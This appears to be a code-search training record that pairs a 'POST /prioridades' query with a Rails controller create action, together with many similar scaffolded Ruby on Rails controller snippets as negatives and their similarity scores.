"def new\n @precinct = Precinct.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @precinct }\n end\n end",
"def new\n @trabajo = Trabajo.find(params[:trabajo_id])\n presupuestos_de_proveedor = @trabajo.presupuestos.where(:proveedor_id => current_proveedor.perfilable_id).size\n if presupuestos_de_proveedor > 0\n flash[:warning] = \"Ya has presentado un presupuesto para esta solicitud.\"\n redirect_to @trabajo\n return\n end\n @presupuesto = @trabajo.presupuestos.build\n @path = [@trabajo, @presupuesto]\n add_breadcrumb @trabajo.proposito, trabajo_path(@trabajo)\n add_breadcrumb :new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @presupuesto }\n end\n end",
"def new\n @pto = Pto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pto }\n end\n end",
"def new\n @preparatoria_o_universidad_de_origen = PreparatoriaOUniversidadDeOrigen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origen }\n end\n end",
"def new\n @premio = Premio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @premio }\n end\n end",
"def new\n @preorder = Preorder.new\n @title = \"tugowa\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preorder }\n end\n end",
"def show\n @prioridade = Prioridade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prioridade }\n end\n end",
"def create\n @prior = Prior.new(params[:prior])\n\n respond_to do |format|\n if @prior.save\n flash[:notice] = 'Prior was successfully created.'\n format.html { redirect_to( edit_prior_path(@prior) ) }\n format.xml { render :xml => @prior, :status => :created, :location => @prior }\n format.csv { render :csv => @prior, :status => :created, :location => @prior }\n format.json { render :json => @prior, :status => :created, :location => @prior }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @prior.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @prior.errors, :status => :unprocessable_entity }\n format.json { render :json => @prior.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @current_page = 'recettes'\n @recette = Recette.new\n @categories = Category.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recette }\n end\n end",
"def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @po }\n end\n end",
"def new\n \t@pagenav = Page.find_all_by_published('true')\n @project = Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @prime = Prime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prime }\n end\n end",
"def new\n @puntaje = Puntaje.new\n atributos\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @puntaje }\n end\n end",
"def new\n @puntaje = Puntaje.new\n atributos\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @puntaje }\n end\n end",
"def new\n @cliente = Cliente.find(params[:cliente_id])\n @pago = @cliente.pagos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pago }\n end\n end",
"def new\n @cliente = Cliente.new\n localidad_new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cliente }\n end\n end",
"def new\n @requerimiento = Requerimiento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @requerimiento }\n end\n end",
"def new\n @pagamento = Pagamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pagamento }\n end\n end",
"def new\n @liquidacion = Liquidacion.new\n\n #Levanto de conceptos, todos los conceptos que son requeridos para liquidacion de auxiliares \n @conceptos = Concepto.where(:anhomes => 201407).order(:codigo_concepto) \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @liquidacion }\n end\n end",
"def new\n @coligacao_partido = ColigacaoPartido.new\n @partidos = Partido.find(:all, :order => \"nome\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @coligacao_partido }\n end\n end",
"def new\n @pologeno = Pologeno.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pologeno }\n end\n end",
"def new\n @presenza = Presenza.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @presenza }\n end\n end",
"def new\n @primer = Primer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @primer }\n end\n end",
"def new\n puts 'NEW METHOD'\n @pessoa = Pessoa.new\n @pessoa.enderecos.build\n 2.times { @pessoa.telefones.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pessoa }\n end\n end",
"def set_prioridad\n @prioridad = Prioridad.find(params[:id])\n end",
"def new\n @tipo_pensum = TipoPensum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_pensum }\n end\n end",
"def new\n @periodos = Periodo.all.collect{|p|[\"#{t p.inicio.strftime(\"%B\")} - #{t p.fim.strftime(\"%B\")}\",p.id]}\n @requisicao = Requisicao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @requisicao }\n end\n end",
"def new\n @pagenate = Pagenate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pagenate }\n end\n end",
"def new\n @projeto = Projeto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @projeto }\n end\n end",
"def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end",
"def new\n puts params\n @pagamento = Pagamento.new\n @pagamento.os_id = params[:os_id] unless params[:os_id].nil?\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pagamento }\n end\n end",
"def new\n @recurso = Recurso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recurso }\n end\n end",
"def new\n @permiso_pernocta = PermisoPernocta.new\n @id = PermisoPernocta.next_id\n @solicita = User.get_solicitante(current_user.id)\n @VoBo = User.get_jefe_area(current_user.id)\n @vehiculos = Vehiculo.get_area_vehiculos(current_user.id)\n end",
"def new\n @nlp = Nlp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nlp }\n end\n end",
"def new\n @breadcrumb = 'create'\n @ticket_priority = TicketPriority.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ticket_priority }\n end\n end",
"def new\n @requirement_priority = RequirementPriority.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @requirement_priority }\n end\n end",
"def new\n @tipo_actividad = TipoActividad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_actividad }\n end\n end",
"def new\n @page = Page.new\n @page.parent_id = params[:parent_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end",
"def new\n @partecipante = Partecipante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partecipante }\n end\n end",
"def new\n @categoria = Categoria.new\n @categoria.status = Status.find_by_descricao('Ativo')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @categoria }\n end\n end",
"def new\n @page = current_site.pages.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page }\n end\n end",
"def new\n @repa = Repa.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @repa }\n end\n end",
"def new\n @ventas_presupuesto = Ventas::Presupuesto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ventas_presupuesto }\n end\n end",
"def new\n @prestador = Prestador.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prestador }\n end\n end",
"def new\n @prestacion = Prestacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prestacion }\n end\n end",
"def new\n @tecnico = Tecnico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tecnico }\n end\n end",
"def new\n saldo = Liquidacion.find(params[:liquidacion_id]).saldo\n @pago = Pago.new(:liquidacion_id => params[:liquidacion_id], :cantidad => saldo)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pago }\n end\n end",
"def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trail }\n end\n end",
"def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trail }\n end\n end",
"def new\n @trnodo = Trnodo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trnodo }\n end\n end",
"def new\n @produccion = Produccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produccion }\n end\n end",
"def new\n @produccion = Produccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produccion }\n end\n end",
"def new\n @clasificacion_pegi = ClasificacionPegi.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @clasificacion_pegi }\n end\n end",
"def new\n @status_de_la_inscripcion = StatusDeLaInscripcion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_de_la_inscripcion }\n end\n end",
"def new\n @indicativo = Indicativo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @indicativo }\n end\n end",
"def new\n @contrato = Contrato.new\n\n respond_to do |format|\n format.html { render layout: nil } # new.html.erb\n format.json { render json: @contrato }\n end\n end",
"def new\n @tipo_negocio = TipoNegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_negocio }\n end\n end",
"def new\n @sugerencia = Sugerencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sugerencia }\n end\n end",
"def new\n @pre_step = PreStep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pre_step }\n end\n end",
"def new\n @major = Major.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @major }\n end\n end",
"def new\n @crate_priority = CratePriority.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @crate_priority }\n end\n end",
"def new\n @pedido = Pedido.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pedido }\n end\n end",
"def new\n @historial = Historial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @historial }\n end\n end",
"def new\n @propuesta = Propuesta.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @propuesta }\n end\n end",
"def new\n @tipo_convenio = TipoConvenio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_convenio }\n end\n end",
"def new\n @produto = Produto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @produto }\n end\n end",
"def new\n @tecnico = Tecnico.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @tecnico }\n end\n end",
"def create\n authorize! :create, Tipo\n @tipo = Tipo.new(tipo_params)\n log(\"Se ha creado la nomina #{@lt}\", 0)\n\n respond_to do |format|\n if @tipo.save\n format.html { redirect_to tipos_path, notice: 'La nómina fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @tipo }\n else\n format.html { render :new }\n format.json { render json: @tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @persona_tipo = PersonaTipo.new\n if current_user.is_admin?\n @congresos = Congreso.all(:order => \"nombre\")\n else\n @congresos = current_user.congresos(:order => \"nombre\")\n end\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @persona_tipo }\n end\n end",
"def new\n @caixa = Caixa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @caixa }\n end\n end",
"def new\n @cita = Cita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cita }\n end\n end",
"def new\n @trlocalidad = Trlocalidad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trlocalidad }\n end\n end",
"def new\n @actividad = Actividad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @actividad }\n end\n end",
"def new\n @reparacion = Reparacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reparacion }\n end\n end",
"def new\n @torneo = Torneo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @torneo }\n end\n end",
"def new\n normal_id = Priority.find_by_description(\"Normal\")\n @passenger = Passenger.new({:routing_id => params[:routing_id], \n :priority_id => normal_id.id})\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @passenger }\n end\n end",
"def new\n @selecao = Selecao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @selecao }\n end\n end",
"def new\n seleccionarMenu(:juzgados)\n @juzgado = Juzgado.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @juzgado }\n end\n end",
"def new\n @comprobante = Comprobante.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @comprobante }\n end\n end",
"def new\n @relation = Relation.new\n @personnages = Personnage.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @relation }\n end\n end",
"def new\n @before_intership = BeforeIntership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @before_intership }\n end\n end",
"def new\n @personaje = Personaje.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @personaje }\n end\n end",
"def new\n @puestos_entidad = PuestosEntidad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @puestos_entidad }\n end\n end",
"def new\n @tenni = Tenni.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tenni }\n end\n end",
"def new\n @tipo_atendimento = TipoAtendimento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_atendimento }\n end\n end",
"def new\n @sezione = Sezione.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sezione }\n end\n end",
"def new\n @paciente = Paciente.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paciente }\n end\n end",
"def new\n\tadd_breadcrumb \"Nuevo usuario\", :new_usuario_path\n @usuario = Usuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @usuario }\n end\n end"
] |
[
"0.7742832",
"0.7336337",
"0.725823",
"0.67994136",
"0.64959276",
"0.64771926",
"0.6462122",
"0.64571977",
"0.63699126",
"0.6359396",
"0.63409084",
"0.63339895",
"0.63205266",
"0.6320355",
"0.6302525",
"0.6287897",
"0.6266362",
"0.623412",
"0.62078196",
"0.6200844",
"0.6196195",
"0.6195845",
"0.61930203",
"0.61928415",
"0.61928415",
"0.6190349",
"0.6171467",
"0.6162324",
"0.6153549",
"0.6146522",
"0.6137964",
"0.61356926",
"0.6132951",
"0.6125439",
"0.6123019",
"0.61116695",
"0.61067444",
"0.6097915",
"0.6095832",
"0.6084073",
"0.60811424",
"0.6068222",
"0.6063173",
"0.6059998",
"0.60592186",
"0.6047555",
"0.604337",
"0.60383224",
"0.6036075",
"0.6034537",
"0.60340065",
"0.60305136",
"0.60260123",
"0.60241526",
"0.6024058",
"0.6022221",
"0.6013737",
"0.60100967",
"0.60089344",
"0.6008648",
"0.6008648",
"0.60059017",
"0.60032636",
"0.60017407",
"0.60011655",
"0.59991616",
"0.5986539",
"0.59863853",
"0.59861505",
"0.59780365",
"0.59771144",
"0.59770375",
"0.5976052",
"0.5974303",
"0.5970153",
"0.5968079",
"0.5958505",
"0.5954496",
"0.59486246",
"0.59422374",
"0.5940684",
"0.593897",
"0.59381515",
"0.593099",
"0.5930885",
"0.59301424",
"0.59267443",
"0.59250456",
"0.59239733",
"0.5921626",
"0.59212977",
"0.592124",
"0.591327",
"0.5911571",
"0.5910991",
"0.59107256",
"0.59049743",
"0.5901333",
"0.5899228",
"0.5899031"
] |
0.8134788
|
0
|
POST /prioridades POST /prioridades.json
|
def create
@prioridade = Prioridade.new(params[:prioridade])
respond_to do |format|
if @prioridade.save
format.html { redirect_to @prioridade, notice: 'Prioridade was successfully created.' }
format.json { render json: @prioridade, status: :created, location: @prioridade }
else
format.html { render action: "new" }
format.json { render json: @prioridade.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @prioridad = Prioridad.new(prioridad_params)\n\n respond_to do |format|\n if @prioridad.save\n format.html { redirect_to @prioridad, notice: 'Se ha creado una nueva Prioridad.' }\n format.json { render :show, status: :created, location: @prioridad }\n else\n format.html { render :new }\n format.json { render json: @prioridad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prioridad_params\n params.require(:prioridad).permit(:descripcion, :valor)\n end",
"def set_prioridad\n @prioridad = Prioridad.find(params[:id])\n end",
"def create\n @prioridade_adocao = PrioridadeAdocao.new(params[:prioridade_adocao])\n\n respond_to do |format|\n if @prioridade_adocao.save\n format.html { redirect_to @prioridade_adocao, notice: 'Prioridade adocao was successfully created.' }\n format.json { render json: @prioridade_adocao, status: :created, location: @prioridade_adocao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prioridade_adocao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @prioridade = Prioridade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade }\n end\n end",
"def priorities\n Sifter.\n get(\"/api/priorities\").\n parsed_response[\"priorities\"]\n end",
"def create\n @prior = Prior.new(params[:prior])\n\n respond_to do |format|\n if @prior.save\n flash[:notice] = 'Prior was successfully created.'\n format.html { redirect_to( edit_prior_path(@prior) ) }\n format.xml { render :xml => @prior, :status => :created, :location => @prior }\n format.csv { render :csv => @prior, :status => :created, :location => @prior }\n format.json { render :json => @prior, :status => :created, :location => @prior }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @prior.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @prior.errors, :status => :unprocessable_entity }\n format.json { render :json => @prior.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @prioridads = Prioridad.all\n end",
"def update\n respond_to do |format|\n if @prioridad.update(prioridad_params)\n format.html { redirect_to @prioridad, notice: 'Se ha actualizado la Prioridad.' }\n format.json { render :show, status: :ok, location: @prioridad }\n else\n format.html { render :edit }\n format.json { render json: @prioridad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @prioridade = Prioridade.find(params[:id])\n\n respond_to do |format|\n if @prioridade.update_attributes(params[:prioridade])\n format.html { redirect_to @prioridade, notice: 'Prioridade was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prioridade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @prioridade = Prioridade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prioridade }\n end\n end",
"def new\n @prioridade_adocao = PrioridadeAdocao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade_adocao }\n end\n end",
"def create\n @actividad = Actividad.new(params[:actividad])\n respond_to do |format|\n if @actividad.save \n @actividad.visitadors.each do |v|\n pu = PuntuacionesActividad.new(:actividad_id => @actividad.id, :visitador_id => v.id, :puntuacion => @actividad.puntuacion)\n pu.save\n end\n format.html { redirect_to @actividad, notice: 'Actividad was successfully created.' }\n format.json { render json: @actividad, status: :created, location: @actividad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @actividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def priorities\n render :json => {:data => Project::Priorities}\n end",
"def create\n @pregoestitulo = Pregoestitulo.new(pregoestitulo_params)\n\n pregao = Pregao.where('data = ?', @pregoestitulo.date).first\n\n if pregao.blank?\n pregao = Pregao.new\n pregao.data = @pregoestitulo.date\n pregao.flagativo = true\n pregao.save\n end\n\n @pregoestitulo.pregao_id = pregao.id\n\n respond_to do |format|\n if @pregoestitulo.save\n format.html { redirect_to @pregoestitulo, notice: 'Título incluído com sucesso.' }\n format.json { render :show, status: :created, location: @pregoestitulo }\n else\n format.html { render :new }\n format.json { render json: @pregoestitulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pre_contrato = PreContrato.new(pre_contrato_params)\n\n respond_to do |format|\n if @pre_contrato.save\n format.html { redirect_to @pre_contrato, notice: 'Pre contrato was successfully created.' }\n format.json { render action: 'show', status: :created, location: @pre_contrato }\n else\n format.html { render action: 'new' }\n format.json { render json: @pre_contrato.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @requerimiento = Requerimiento.new(params[:requerimiento])\n @requerimiento.numero = Requerimiento.maximum(:numero) + 1\n \n respond_to do |format|\n if @requerimiento.save\n format.html { redirect_to \"#{requerimientos_path}/#{@requerimiento.numero}\", notice: 'Requerimiento was successfully created.' }\n format.json { render json: @requerimiento, status: :created, location: @requerimiento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @requerimiento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pres = Pre.all\n @pre = Pre.new(params[:pre])\n\n respond_to do |format|\n if @pre.save\n format.html { redirect_to @pre, notice: 'Pre was successfully created.' }\n format.json { render json: @pre, status: :created, location: @pre }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pre.errors, status: :unprocessable_entity }\n end\n end\n\n\n end",
"def create\n @trabajo = Trabajo.find(params[:trabajo_id])\n presupuestos_de_proveedor = @trabajo.presupuestos.where(:proveedor_id => current_proveedor.perfilable_id).size\n if presupuestos_de_proveedor > 0\n flash[:warning] = \"Ya has presentado un presupuesto para esta solicitud.\"\n redirect_to @trabajo\n return\n end\n \n @presupuesto = @trabajo.presupuestos.build(params[:presupuesto])\n @presupuesto.proveedor_id = current_proveedor.perfilable_id\n \n @path = [@trabajo, @presupuesto]\n @es_el_proveedor = false\n if proveedor_signed_in?\n @es_el_proveedor = @presupuesto.proveedor_id.eql?(current_proveedor.perfilable_id)\n end\n respond_to do |format|\n if @presupuesto.save\n TtpMailer.notificar_presupuesto_recibido(@trabajo,@presupuesto)\n flash[:success] = \"Presupuesto enviado satisfactoriamente.\"\n format.html { redirect_to @presupuesto }\n format.json { render json: @presupuesto, status: :created, location: @presupuesto }\n else\n flash[:error] = \"Ocurrió un error. Revisa el formulario.\"\n format.html { render action: \"new\" }\n format.json { render json: @presupuesto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n session[:request_params].deep_merge!(request_params) if request_params\n @request = Request.new(session[:request_params])\n @request.current_step = session[:request_step]\n @alianzas = Alianza.all \n\n if @request.valid?\n if params[:back_button] \n if @request.dni\n personas = []\n personas = Reniec.where('doi=?',@request.dni)\n @persona = personas[0]\n end\n @request.previous_step\n elsif @request.last_step?\n @request.save if @request.all_valid?\n else\n if @request.dni\n personas = []\n personas = Reniec.where('doi=?',@request.dni)\n @persona = personas[0]\n end\n @request.next_step \n end\n session[:request_step] = @request.current_step\n end\n if @request.new_record?\n render :new\n else\n session[:request_step] = session[:request_params] = nil\n redirect_to thanks_path\n end\n end",
"def create\n @tipo_pregunta = TipoPregunta.new(params[:tipo_pregunta])\n\n if @tipo_pregunta.save\n render json: @tipo_pregunta, status: :created, location: @tipo_pregunta\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end",
"def pregoestitulo_params\n params.require(:pregoestitulo).permit(:pregao_id, :titulo_id, :flagativo, :date)\n end",
"def create\n @pre_step = PreStep.new(params[:pre_step])\n\n respond_to do |format|\n if @pre_step.save\n format.html { redirect_to @pre_step, notice: 'Pre step was successfully created.' }\n format.json { render json: @pre_step, status: :created, location: @pre_step }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pre_step.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reuniao = Reuniao.new(reuniao_params)\n @pautum=Pautum.new\n @reuniao.pautum =@pautum\n @reuniao.atum=Atum.new\n @reuniao.status=\"Preparação\"\n @pautum.status=\"Preparação\"\n \n respond_to do |format|\n if @reuniao.save\n @pautum.titulo=@reuniao.titulo\n @pautum.save\n format.html { redirect_to @reuniao, notice: 'Reuniao was successfully created.' }\n format.json { render :show, status: :created, location: @reuniao }\n else\n format.html { render :new }\n format.json { render json: @reuniao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @claimppriorauthorization = Claimppriorauthorization.new(claimppriorauthorization_params)\n\n respond_to do |format|\n if @claimppriorauthorization.save\n format.html { redirect_to @claimppriorauthorization, notice: 'Claimppriorauthorization was successfully created.' }\n format.json { render :show, status: :created, location: @claimppriorauthorization }\n else\n format.html { render :new }\n format.json { render json: @claimppriorauthorization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prevision_params\n params.require(:prevision).permit(\n :periodo,\n :monto_remanente,\n :monto_presupuestado,\n apartados_attributes: [:id, :rubro_id, :monto_maximo, :_destroy],\n topes_attributes: [:id, :socio_id, :monto, :monto_reservado, :_destroy]\n )\n end",
"def probando_params\n params.require(:probando).permit(:user_id, :post_id, :parragraph, :number)\n end",
"def create\n\n @prepagada = Prepagada.new({ :prepagada => params[:prepagada], :odontologo_id => params[:odontologo_id] })\n\n respond_to do |format|\n if @prepagada.save\n format.html { redirect_to @prepagada, notice: 'Prepagada was successfully created.' }\n format.json { render json: @prepagada, status: :created, location: @prepagada }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prepagada.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ruta = Ruta.new(ruta_params)\n respond_to do |format|\n if params[:parada_inicial] != \"\"\n @inicio = Parada.find(params[:parada_inicial])\n @ruta.parada.push(@inicio)\n @ruta_parada = @ruta.ruta_parada.find_by(parada_id: @inicio.id)\n @ruta_parada.tipo = 1\n @ruta_parada.save\n end\n if params[:parada_final] != \"\"\n @final = Parada.find(params[:parada_final])\n @ruta.parada.push(@final)\n @ruta_parada = @ruta.ruta_parada.find_by(parada_id: @final.id)\n @ruta_parada.tipo = -1\n @ruta_parada.save\n end\n if params[:grupo_paradas] != \"\"\n @paradas = Parada.where(:id => params[:grupo_paradas])\n @ruta.parada << @paradas\n end\n if @ruta.save\n format.html { redirect_to @ruta, notice: 'Ruta was successfully created.' }\n format.json { render :show, status: :created, location: @ruta }\n else\n format.html { render :new }\n format.json { render json: @ruta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @premio = Premio.new(params[:premio])\n\n respond_to do |format|\n if @premio.save\n format.html { redirect_to @premio, :notice => 'Premio was successfully created.' }\n format.json { render :json => @premio, :status => :created, :location => @premio }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @preceed = Preceed.new(params[:preceed])\n\n respond_to do |format|\n if @preceed.save\n format.html { redirect_to @preceed, notice: 'Preceed was successfully created.' }\n format.json { render json: @preceed, status: :created, location: @preceed }\n else\n format.html { render action: \"new\" }\n format.json { render json: @preceed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_new_preorders\n params.require(:menu).delete(:new_preorders) || []\n end",
"def prestamo_params\n params.require(:prestamo).permit(:fecha, :estado, :Usuario_id)\n end",
"def process_priority_questions\n # set referring page\n @referring_url = request.referrer\n \n # get data\n @data = params[:id]\n @split_data = @data.split(\"-\")\n @category = @split_data[0]\n @priority_id = @split_data[1].to_i\n \n #check if user has already chosen any priorities\n @user_priorities = UserPriority.where(user_id: current_user.id, category: @category)\n \n if !@user_priorities.blank?\n # check if this priority is being selected or de-selected\n @this_priority = @user_priorities.find_by_priority_id(@priority_id)\n @priority_count = @user_priorities.count\n if @this_priority.blank?\n @new_count = @priority_count + 1\n # update total priorities of all other priorities\n @user_priorities.each do |priority|\n priority.update(total_priorities: @new_count)\n end\n # add this priority\n @action = \"add\"\n UserPriority.create(user_id: current_user.id, \n priority_id: @priority_id,\n priority_rank: @new_count,\n total_priorities: @new_count,\n category: @category)\n else\n @this_priority_rank = @this_priority.priority_rank\n # remove this priority\n @action = \"remove\"\n @this_priority.destroy!\n if @priority_count > 1\n @new_count = @priority_count - 1\n # update ranks of those left behind, if needed\n @user_priorities.each do |priority|\n if priority.priority_rank > @this_priority_rank\n priority.decrement!(:priority_rank)\n priority.update(total_priorities: @new_count)\n end\n end\n end # end of count check\n end\n else # this path if this is the first priority chosen\n @action = \"add\"\n UserPriority.create(user_id: current_user.id, \n priority_id: @priority_id,\n category: @category)\n end\n \n # get new list of chosen priorities\n @user_priorities = UserPriority.where(user_id: current_user.id, category: @category)\n @priority_count = @user_priorities.count\n #Rails.logger.debug(\"count: #{@priority_count.inspect}\")\n @timing = @user_priorities.order('updated_at DESC')\n @last_saved = @timing.first.updated_at\n \n respond_to do |format|\n format.js\n end\n end",
"def create\n @pago = Pago.new(pago_params)\n @pagoPendAplicar = @pago.pago_valor\n case @pago.pago_tipoProducto\n when \"RESERVA\"\n reserva = Reserva.where(\"rsrv_codigo = '#{@pago.pago_productoId}'\").take\n detallesReserva = DetalleReserva.where(\"reserva_id = ? AND detRsrv_estadoReserva IN ('I', 'P')\" ,reserva.id)\n @parentPath = \"/reservas/\" + reserva.id.to_s\n if reserva.rsrv_tipoProducto == \"VUELO\" then\n tarifasViaje = tarifas_viaje(reserva.rsrv_productoId, reserva.rsrv_trayectoViaje)\n if tarifasViaje.viaje_tarifas.blank?\n detallesReserva.each do |h|\n if @pagoPendAplicar > 0 then\n h.detRsrv_tarifaCodigo = \"BASE\"\n h.detRsrv_estadoReserva = \"C\"\n if @pagoPendAplicar > tarifasViaje.trf_base then\n h.detRsrv_valor = tarifasViaje.trf_base \n @pagoPendAplicar = @pagoPendAplicar - tarifasViaje.trf_base\n else\n h.detRsrv_valor = @pagoPendAplicar\n @pagoPendAplicar = 0\n end\n end\n h.save\n end\n else\n end\n end \n reserva.rsrv_estadoReserva = \"C\"\n reserva.save\n end\n\n respond_to do |format|\n if @pago.save\n format.html { redirect_to @parentPath, notice: 'Pago creado exitosamente.' }\n format.json { render :show, status: :created, location: @pago }\n else\n format.html { render :new }\n format.json { render json: @pago.errors, status: :unprocessable_entity }\n 